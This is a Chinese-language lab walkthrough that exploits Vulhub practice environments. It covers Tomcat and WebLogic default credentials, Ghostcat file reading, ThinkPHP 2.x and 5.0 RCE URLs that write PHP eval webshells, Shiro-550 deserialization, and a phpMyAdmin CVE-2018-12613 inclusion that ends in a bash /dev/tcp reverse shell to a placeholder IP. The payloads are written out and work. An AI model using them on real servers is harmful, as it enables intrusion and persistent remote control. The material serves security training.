第 9 周
· 阅读需 4 分钟
提示
基于 Vulhub 漏洞环境平台,六大经典中间件漏洞实战演练。涵盖 Docker 配置、Tomcat 弱口令与 Ghostcat、WebLogic 弱口令与 RCE、ThinkPHP 2.x/3.x/5.x RCE、Shiro-550 反序列化、phpMyAdmin 文件包含反弹 Shell 等完整攻击链。
Vulhub
docker compose up -d启动某漏洞环境报错

- 对 docker 永久调整
ulimit -n对应的文件描述符数量
{
"default-ulimits": {
"nofile": {
"Name": "nofile",
"Soft": 65535,
"Hard": 65535
}
}
}
- 使用
docker compose down -v删除容器, 重新创建
Tomcat
弱口令
- 登录
http://your-ip:8080/manager/html上传war包, 用户名密码为tomcat/tomcat
Ghostcat 漏洞
- 下载 python 测试脚本
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.30.129 -p 8009 -f WEB-INF/web.xml读取到敏感文件
weblogic
弱口令
- 访问
http://your-ip:7001/console进入WebLogic管理控制台 - 默认用户名
weblogic和密码Oracle@123


- 将
webshell打成war包
cd myapp/
jar -cvf myapp *
- 部署到
weblogic, 后续步骤全部默认 - 成功连接上传的 webshell,
weblogic的默认 http 端口是7001, https 端口是7002

RCE漏洞

ThinkPHP
2.0/3.0 版本
1. 测试 rce 漏洞
- 输入
http://your-ip:8080/index.php?s=/a/b/c/${@phpinfo()}查看是否正常输出
2. 获取 shell
- 构造payload
http://your-ip:8080/index.php?s=/a/b/name/${@eval($_GET[x])}&x=file_put_contents('1.php','<?php @eval($_POST['cmd']);?>');echo 'Success';die();
备注
;一个都不能少, 必须是完整php语句, 否则会语法错误http协议参数是纯文本, 无关x参数有几个php语句
3. 连接 shell
- 由于web用户对所有目录有读权限, web目录以外只能以只读形式查看敏感内容

4. 原理
- PHP < 5.5 中 preg_replace 函数支持 /e 修饰符。当正则匹配成功时, 会将替换字符串作为 PHP 代码进行执行
- 解析路径参数时, 用到下面语句
// $paths 是用户传入的 PATHINFO
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', $paths);
5.0 版本
1. 测试 rce 漏洞
- 构造
http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2. 写入 shell
- WEB 根目录通常在
/var/www/public下 - 构造
http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['cmd']);?>' > /var/www/public/1.php
3. 连接 shell
- 使用特斯拉成功连接

4. 原理
- ThinkPHP 5 标准路由格式为
http://target/index.php?s=模块/控制器/操作 (Module/Controller/Action) - 未验证 Controller 是哪个类
\think\app类的方法invokefunction()底层调用了反射
Shiro
Shiro-550 (CVE-2016-4437)
1. 指纹探测
- cookie 中带有
rememberMe=deleteMe

2. ShiroAttack2
- 工具爆破出 AES 密钥
- 使用可用的利用链如
CommonsCollections等 - 反序列化用户对象 -> AES 加密 -> Base64编码

3. 漏洞利用
- 注入内存马

- 使用蚁剑连接

phpMyAdmin
CVE-2018-12613
1. 文件包含漏洞

2. 获取 shell
- 日志路径修改到 Web 目录, 被 OS 目标目录的权限拒绝, 失败
SET GLOBAL general_log_file='/var/www/html/1.php';
- 利用 POST 请求写入 shell, 连接时无 token 无法通过框架的 csrf 检查, 失败
SELECT '<?php @eval($_POST['cmd']);?>';
- 利用 GET 请求上传到会话文件, 反弹 shell
SELECT '<?php system($_GET["c"]);?>';
- 开启接收反弹 shell
nc -lvnp 4444
-
构造下面的访问路径, 通过 base64 对特殊符号编码后请求
http://192.168.30.129:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_当前sessionID&c=bash -c "bash -i >& /dev/tcp/接收shell的ip地址/端口号 0>&1" -
成功拿到 shell
